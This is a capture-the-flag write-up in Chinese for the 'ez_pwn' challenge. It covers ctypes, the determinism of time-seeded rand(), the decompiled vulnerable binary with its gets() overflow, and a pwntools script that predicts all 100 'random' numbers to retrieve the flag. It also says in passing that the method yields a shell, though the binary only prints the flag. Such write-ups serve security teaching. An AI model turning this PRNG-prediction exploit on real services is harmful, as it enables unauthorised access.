[HUBUCTF 2022 新生赛]ez_pwn
知识点:
ctypes库(调用 C 语言) 介绍:ctypes
是 Python 的标准库,用来调用 C 语言写的动态链接库(.so / .dll)并与 C 类型交互。 基本用法 加载动态库
1 2 3 from ctypes import * libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") # 也可以用 windll.LoadLibrary("xxx.dll") 在 Windows 上
cdll
:调用 C 函数时按默认的 C 调用约定。 调用库里的函数
1 libc.printf(b"Hello, %d\n", 123)
直接调用,Python
会自动把 int 转换为 C int
。 2. rand函数
1 2 #include <stdlib.h> int rand (void ) ;
返回值:0 ~ RAND_MAX
(通常是 0~32767)之间的一个伪随机整数。
rand()
本身不是真随机,而是 伪随机 :依赖内部的全局种子 seed
。 如果不调用 srand()
初始化种子,rand()
默认相当于 srand(1)
,每次程序运行出来的随机序列都一样。 伪随机序列特性rand()
产生的序列是确定性的,只要种子相同,序列一定相同。 举例:
1 srand(1234); printf("%d\n", rand()); printf("%d\n", rand());
无论运行多少次,都输出一样的两个数字。
准备 64 位,保护全开
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 int __fastcall main(int argc, const char **argv, const char **envp) { int v4; // [rsp+4h] [rbp-8Ch] BYREF int i; // [rsp+8h] [rbp-88h] int v6; // [rsp+Ch] [rbp-84h] unsigned int seed[2]; // [rsp+10h] [rbp-80h] FILE *stream; // [rsp+18h] [rbp-78h] char v9[32]; // [rsp+20h] [rbp-70h] BYREF char s[8]; // [rsp+40h] [rbp-50h] BYREF __int64 v11; // [rsp+48h] [rbp-48h] __int64 v12; // [rsp+50h] [rbp-40h] __int64 v13; // [rsp+58h] [rbp-38h] __int64 v14; // [rsp+60h] [rbp-30h] __int64 v15; // [rsp+68h] [rbp-28h] __int64 v16; // [rsp+70h] [rbp-20h] __int64 v17; // [rsp+78h] [rbp-18h] unsigned __int64 v18; // [rsp+88h] [rbp-8h] v18 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); *(_QWORD *)seed = time(0LL); *(_QWORD *)s = 0LL; v11 = 0LL; v12 = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; puts("Who goes there?"); gets(v9); printf("Welcome to my challenge, %s. No one has ever succeeded before. Will you be the first?\n", v9); srand(seed[0]); for ( i = 0; i <= 99; ++i ) { v6 = rand() % 100000 + 1; puts("I am thinking of a number from 1-100000. What is it?"); __isoc99_scanf("%d", &v4); if ( v6 != v4 ) { puts("You have failed. Goodbye."); return 0; } puts("Impressive."); } puts("You've guessed all of my numbers. Here is your reward."); stream = fopen("flag.txt", "r"); if ( stream ) { fgets(s, 50, stream); puts(s); } puts("Goodbye."); return 0; }
先一个输入,用 gets
函数,所以存在缓冲区溢出 下面循环 100 次,用当前时间作为种子,生成范围在 1-100000 的随机数与我们输入的数值进行比较 当所有次数的对比都一致时,会输出 flag
思路: 这题有栈溢出,但保护全开,很难利用,而涉及到的随机数,我们可以利用 rand
的伪随机序列特性,直接构造同样的随机数,发送后获得 shell
1 2 3 4 5 6 libc=cdll.LoadLibrary('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6') io.sendlineafter(b'Who goes there?',b'aaa') libc.srand(libc.time(0)) for i in range(100): io.sendlineafter(b'What is it?', str((libc.rand() % 100000) + 1))
因为用这个脚本结果直接出了,所以没过多考虑远程连接的延迟干扰
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * from ctypes import * context(os='linux',log_level = 'debug',arch='amd64') io=remote('node5.anna.nssctf.cn',21640) # io=process('/home/motaly/pwn') libc=cdll.LoadLibrary('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6') io.sendlineafter(b'Who goes there?',b'aaa') libc.srand(libc.time(0)) for i in range(100): io.sendlineafter(b'What is it?', str((libc.rand() % 100000) + 1)) io.interactive()